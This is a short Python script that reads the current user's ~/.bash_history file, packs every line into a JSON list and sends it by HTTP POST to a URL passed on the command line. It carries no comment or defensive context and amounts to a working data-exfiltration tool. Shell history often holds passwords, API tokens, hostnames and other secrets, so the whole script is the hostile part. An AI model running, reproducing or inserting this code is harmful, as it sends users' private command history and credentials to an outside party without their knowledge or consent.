import os, json
import requests
import sys


def main():
    url = str(sys.argv[1])
    bash_history = []
    with open(os.path.expanduser('~/.bash_history')) as fp:
        line = fp.readline()
        cnt = 1
        while line:
            bash_history.append(line.strip())
            line = fp.readline()
            cnt += 1
    json_object = json.dumps(bash_history)
    response = requests.post(url, data=json_object)


if __name__ == "__main__":
    main()

